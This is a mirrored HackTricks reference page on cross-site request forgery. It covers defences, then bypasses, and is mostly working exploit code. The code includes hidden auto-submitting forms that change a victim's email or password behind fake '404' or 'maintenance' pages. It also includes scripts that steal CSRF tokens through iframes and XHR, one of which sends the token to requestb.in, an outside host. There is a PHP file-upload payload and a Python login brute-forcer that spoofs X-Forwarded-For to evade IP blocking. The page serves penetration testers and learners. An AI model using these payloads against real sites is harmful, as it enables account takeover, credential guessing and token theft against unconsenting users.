mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
498 lines
18 KiB
Markdown
498 lines
18 KiB
Markdown
# CSRF \(Cross Site Request Forgery\)
|
|
|
|
## What is CSRF?
|
|
|
|
**Cross-site request forger**y \(also known as CSRF\) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**.
|
|
This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**.
|
|
|
|
### Requisites
|
|
|
|
In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** \(change password or email, make the victim follow you on a social network, give you more privileges...\). The **session must rely only on cookies or HTTP Basic Authentication header**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request.
|
|
|
|
Several **counter-measures** could be in place to avoid this vulnerability.
|
|
|
|
### **Common defenses**
|
|
|
|
* [**SameSite cookies**](hacking-with-cookies.md#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
|
|
* [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._
|
|
* Ask for the **password** user to authorise the action.
|
|
* Resolve a **captcha**
|
|
* Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with:
|
|
* http://mal.net?orig=http://example.com \(ends with the url\)
|
|
* http://example.com.mal.net \(starts with the url\)
|
|
* **Modify** the **name** of the **parameters** of the Post or Get request
|
|
* Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
|
|
|
|
### CSRF map
|
|
|
|
|
|
|
|
## Defences Bypass
|
|
|
|
### From POST to GET
|
|
|
|
Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**.
|
|
|
|
### Lack of token
|
|
|
|
Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**.
|
|
In this situation, the attacker can **remove the entire parameter** containing the token \(not just its value\) to bypass the validation and deliver a CSRF attack.
|
|
|
|
### CSRF token is not tied to the user session
|
|
|
|
Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool.
|
|
In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack.
|
|
|
|
### Method bypass
|
|
|
|
If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working.
|
|
For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
|
|
|
This could also works sending the **\_method parameter inside the a POST request** or using the **headers**:
|
|
|
|
* _X-HTTP-Method_
|
|
* _X-HTTP-Method-Override_
|
|
* _X-Method-Override_
|
|
|
|
### Custom header token bypass
|
|
|
|
If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:
|
|
|
|
* Test the request without the **Customized Token and also header.**
|
|
* Test the request with exact **same length but different token**.
|
|
|
|
### CSRF token is tied to a non-session cookie
|
|
|
|
Some applications do tie the CSRF token to a cookie, but **not** to the same **cookie** that is used to track **sessions**. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.
|
|
If the web site contains any **behaviour** that **allows an attacker to set a cookie in a victim's browser**, then an **attack** is possible.
|
|
|
|
### CSRF token is simply duplicated in a cookie
|
|
|
|
In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead **duplicate each token within a cookie and a request parameter**. When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value submitted in the **cookie**.
|
|
In this situation, the attacker can again perform a CSRF **attack if the web site contains any cookie setting functionality**.
|
|
|
|
### Content-Type change
|
|
|
|
According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), n order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:
|
|
|
|
* **`application/x-www-form-urlencoded`**
|
|
* **`multipart/form-data`**
|
|
* **`text/plain`**
|
|
|
|
However, note that the **severs logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
|
|
|
### Referrer / Origin check bypass
|
|
|
|
#### Avoid Referrer header
|
|
|
|
Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**.
|
|
|
|
```markup
|
|
<meta name="referrer" content="never">
|
|
```
|
|
|
|
#### Regexp bypasses
|
|
|
|
```text
|
|
https://hahwul.com (O)
|
|
https://hahwul.com?white_domain_com (O)
|
|
https://hahwul.com;white_domain_com (O)
|
|
https://hahwul.com/white_domain_com/../target.file (O)
|
|
https://white_domain_com.hahwul.com (O)
|
|
https://hahwulwhite_domain_com (O)
|
|
file://123.white_domain_com (X)
|
|
https://white_domain_com@hahwul.com (X)
|
|
https://hahwul.com#white_domain_com (X)
|
|
https://hahwul.com\.white_domain_com (X)
|
|
https://hahwul.com/.white_domain_com (X)
|
|
```
|
|
|
|
## **Exploit Examples**
|
|
|
|
### **Ex-filtrating CSRF Token**
|
|
|
|
If a **CSRF token** is being used as **defence** you could try to **ex-filtrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability.
|
|
|
|
### **GET using HTML tags**
|
|
|
|
```markup
|
|
<img src=http://google.es?param=VALUE style="display:none" />
|
|
<h1>404 - Page not found</h1>
|
|
The URL you are requesting is no longer available
|
|
```
|
|
|
|
Other HTML5 tags that can be used to automatically send a GET request are:
|
|
|
|
|
|
|
|
### Form GET request
|
|
|
|
```markup
|
|
<html>
|
|
<!-- CSRF PoC - generated by Burp Suite Professional -->
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form method="GET" action="https://victim.net/email/change-email">
|
|
<input type="hidden" name="email" value="some@email.com" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### Form POST request
|
|
|
|
```markup
|
|
<html>
|
|
<body>
|
|
<script>history.pushState('', '', '/')</script>
|
|
<form action="https://victim.net/email/change-email" id="csrfform">
|
|
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
|
|
<input type="submit" value="Submit request" />
|
|
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit(); //Way 3 to autosubmit
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### Form POST request through iframe
|
|
|
|
```markup
|
|
<!--
|
|
The request is sent through the iframe withuot reloading the page
|
|
-->
|
|
<html>
|
|
<body>
|
|
<iframe style="display:none" name="csrfframe"></iframe>
|
|
<form action="/change-email" id="csrfform" target="csrfframe">
|
|
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
### **Ajax POST request**
|
|
|
|
```markup
|
|
<script>
|
|
var xh;
|
|
if (window.XMLHttpRequest)
|
|
{// code for IE7+, Firefox, Chrome, Opera, Safari
|
|
xh=new XMLHttpRequest();
|
|
}
|
|
else
|
|
{// code for IE6, IE5
|
|
xh=new ActiveXObject("Microsoft.XMLHTTP");
|
|
}
|
|
xh.withCredentials = true;
|
|
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
|
|
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
|
|
xh.send("username=abcd&status=on");
|
|
</script>
|
|
|
|
<script>
|
|
//JQuery version
|
|
$.ajax({
|
|
type: "POST",
|
|
url: "https://google.com",
|
|
data: "param=value¶m2=value2"
|
|
})
|
|
</script>
|
|
```
|
|
|
|
### multipart/form-data POST request
|
|
|
|
```javascript
|
|
myFormData = new FormData();
|
|
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
|
myFormData.append("newAttachment", blob, "pwned.php");
|
|
fetch("http://example/some/path", {
|
|
method: "post",
|
|
body: myFormData,
|
|
credentials: "include"
|
|
});
|
|
```
|
|
|
|
### multipart/form-data POST request v2
|
|
|
|
```javascript
|
|
var fileSize = fileData.length,
|
|
boundary = "OWNEDBYOFFSEC",
|
|
xhr = new XMLHttpRequest();
|
|
xhr.withCredentials = true;
|
|
xhr.open("POST", url, true);
|
|
// MIME POST request.
|
|
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
|
|
xhr.setRequestHeader("Content-Length", fileSize);
|
|
var body = "--" + boundary + "\r\n";
|
|
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
|
|
body += "Content-Type: " + ctype + "\r\n\r\n";
|
|
body += fileData + "\r\n";
|
|
body += "--" + boundary + "--";
|
|
|
|
//xhr.send(body);
|
|
xhr.sendAsBinary(body);
|
|
```
|
|
|
|
### Form POST request from within an iframe
|
|
|
|
```markup
|
|
<--! expl.html -->
|
|
|
|
<body onload="envia()">
|
|
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
|
|
<input type="text" id="pwd" name="pwd" value="otra nueva">
|
|
</form>
|
|
<body>
|
|
<script>
|
|
function envia(){document.getElementById("formulario").submit();}
|
|
</script>
|
|
|
|
<!-- public.html -->
|
|
<iframe src="2-1.html" style="position:absolute;top:-5000">
|
|
</iframe>
|
|
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
|
|
```
|
|
|
|
### **Steal CSRF Token and send a POST request**
|
|
|
|
```javascript
|
|
function submitFormWithTokenJS(token) {
|
|
var xhr = new XMLHttpRequest();
|
|
xhr.open("POST", POST_URL, true);
|
|
xhr.withCredentials = true;
|
|
|
|
// Send the proper header information along with the request
|
|
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
|
|
|
// This is for debugging and can be removed
|
|
xhr.onreadystatechange = function() {
|
|
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|
//console.log(xhr.responseText);
|
|
}
|
|
}
|
|
|
|
xhr.send("token=" + token + "&otherparama=heyyyy");
|
|
}
|
|
|
|
function getTokenJS() {
|
|
var xhr = new XMLHttpRequest();
|
|
// This tels it to return it as a HTML document
|
|
xhr.responseType = "document";
|
|
xhr.withCredentials = true;
|
|
// true on the end of here makes the call asynchronous
|
|
xhr.open("GET", GET_URL, true);
|
|
xhr.onload = function (e) {
|
|
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
|
// Get the document from the response
|
|
page = xhr.response
|
|
// Get the input element
|
|
input = page.getElementById("token");
|
|
// Show the token
|
|
//console.log("The token is: " + input.value);
|
|
// Use the token to submit the form
|
|
submitFormWithTokenJS(input.value);
|
|
}
|
|
};
|
|
// Make the request
|
|
xhr.send(null);
|
|
}
|
|
|
|
var GET_URL="http://google.com?param=VALUE"
|
|
var POST_URL="http://google.com?param=VALUE"
|
|
getTokenJS();
|
|
```
|
|
|
|
### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax**
|
|
|
|
```markup
|
|
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
|
<input type="text" name="username" value="AA">
|
|
<input type="checkbox" name="status" checked="checked">
|
|
<input id="token" type="hidden" name="token" value="" />
|
|
</form>
|
|
|
|
<script type="text/javascript">
|
|
function f1(){
|
|
x1=document.getElementById("i1");
|
|
x1d=(x1.contentWindow||x1.contentDocument);
|
|
t=x1d.document.getElementById("token").value;
|
|
|
|
document.getElementById("token").value=t;
|
|
document.getElementById("form1").submit();
|
|
}
|
|
</script>
|
|
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
|
|
```
|
|
|
|
### **Steal CSRF Token and sen a POST request using an iframe and a form**
|
|
|
|
```markup
|
|
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
|
|
|
<script>
|
|
function read()
|
|
{
|
|
var name = 'admin2';
|
|
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
|
|
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
|
|
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
|
|
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
|
|
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
|
|
document.writeln('</form>');
|
|
document.forms[0].submit.click();
|
|
}
|
|
</script>
|
|
```
|
|
|
|
### **Steal token and send it using 2 iframes**
|
|
|
|
```markup
|
|
<script>
|
|
var token;
|
|
function readframe1(){
|
|
token = frame1.document.getElementById("profile").token.value;
|
|
document.getElementById("bypass").token.value = token
|
|
loadframe2();
|
|
}
|
|
function loadframe2(){
|
|
var test = document.getElementbyId("frame2");
|
|
test.src = "http://requestb.in/1g6asbg1?token="+token;
|
|
}
|
|
</script>
|
|
|
|
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
|
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|
height="600" width="800"></iframe>
|
|
|
|
<iframe id="frame2" name="frame2"
|
|
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
|
|
height="600" width="800"></iframe>
|
|
<body onload="document.forms[0].submit()">
|
|
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
|
|
<input type="text" name="username" value="z">
|
|
<input type="checkbox" name="status" checked="">
|
|
<input id="token" type="hidden" name="token" value="0000" />
|
|
<button type="submit">Submit</button>
|
|
</form>
|
|
```
|
|
|
|
### **POSTSteal CSRF token with Ajax and send a post with a form**
|
|
|
|
```markup
|
|
<body onload="getData()">
|
|
|
|
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
|
|
<input type="hidden" name="username" value="root"/>
|
|
<input type="hidden" name="status" value="on"/>
|
|
<input type="hidden" id="findtoken" name="token" value=""/>
|
|
<input type="submit" value="valider"/>
|
|
</form>
|
|
|
|
<script>
|
|
var x = new XMLHttpRequest();
|
|
function getData() {
|
|
x.withCredentials = true;
|
|
x.open("GET","http://google.com?param=VALUE",true);
|
|
x.send(null);
|
|
}
|
|
x.onreadystatechange = function() {
|
|
if (x.readyState == XMLHttpRequest.DONE) {
|
|
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
|
|
document.getElementById("findtoken").value = token;
|
|
document.getElementById("form").submit();
|
|
}
|
|
}
|
|
</script>
|
|
```
|
|
|
|
### CSRF with Socket.IO
|
|
|
|
```markup
|
|
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
|
<script>
|
|
let socket = io('http://six.jh2i.com:50022/test');
|
|
|
|
const username = 'admin'
|
|
|
|
socket.on('connect', () => {
|
|
console.log('connected!');
|
|
socket.emit('join', {
|
|
room: username
|
|
});
|
|
socket.emit('my_room_event', {
|
|
data: '!flag',
|
|
room: username
|
|
})
|
|
|
|
});
|
|
</script>
|
|
```
|
|
|
|
## CSRF Login Brute Force
|
|
|
|
The code can be used to Brut Force a login form using a CSRF token \(It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting\):
|
|
|
|
```python
|
|
import request
|
|
import re
|
|
import random
|
|
|
|
URL = "http://10.10.10.191/admin/"
|
|
PROXY = { "http": "127.0.0.1:8080"}
|
|
SESSION_COOKIE_NAME = "BLUDIT-KEY"
|
|
USER = "fergus"
|
|
PASS_LIST="./words"
|
|
|
|
def init_session():
|
|
#Return CSRF + Session (cookie)
|
|
r = requests.get(URL)
|
|
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
|
|
csrf = csrf.group(1)
|
|
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
|
|
return csrf, session_cookie
|
|
|
|
def login(user, password):
|
|
print(f"{user}:{password}")
|
|
csrf, cookie = init_session()
|
|
cookies = {SESSION_COOKIE_NAME: cookie}
|
|
data = {
|
|
"tokenCSRF": csrf,
|
|
"username": user,
|
|
"password": password,
|
|
"save": ""
|
|
}
|
|
headers = {
|
|
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
|
|
}
|
|
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
|
|
if "Username or password incorrect" in r.text:
|
|
return False
|
|
else:
|
|
print(f"FOUND {user} : {password}")
|
|
return True
|
|
|
|
with open(PASS_LIST, "r") as f:
|
|
for line in f:
|
|
login(USER, line.strip())
|
|
```
|
|
|
|
## Tools <a id="tools"></a>
|
|
|
|
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
|
|
|
|
## References
|
|
|
|
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
|
|
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
|
|
|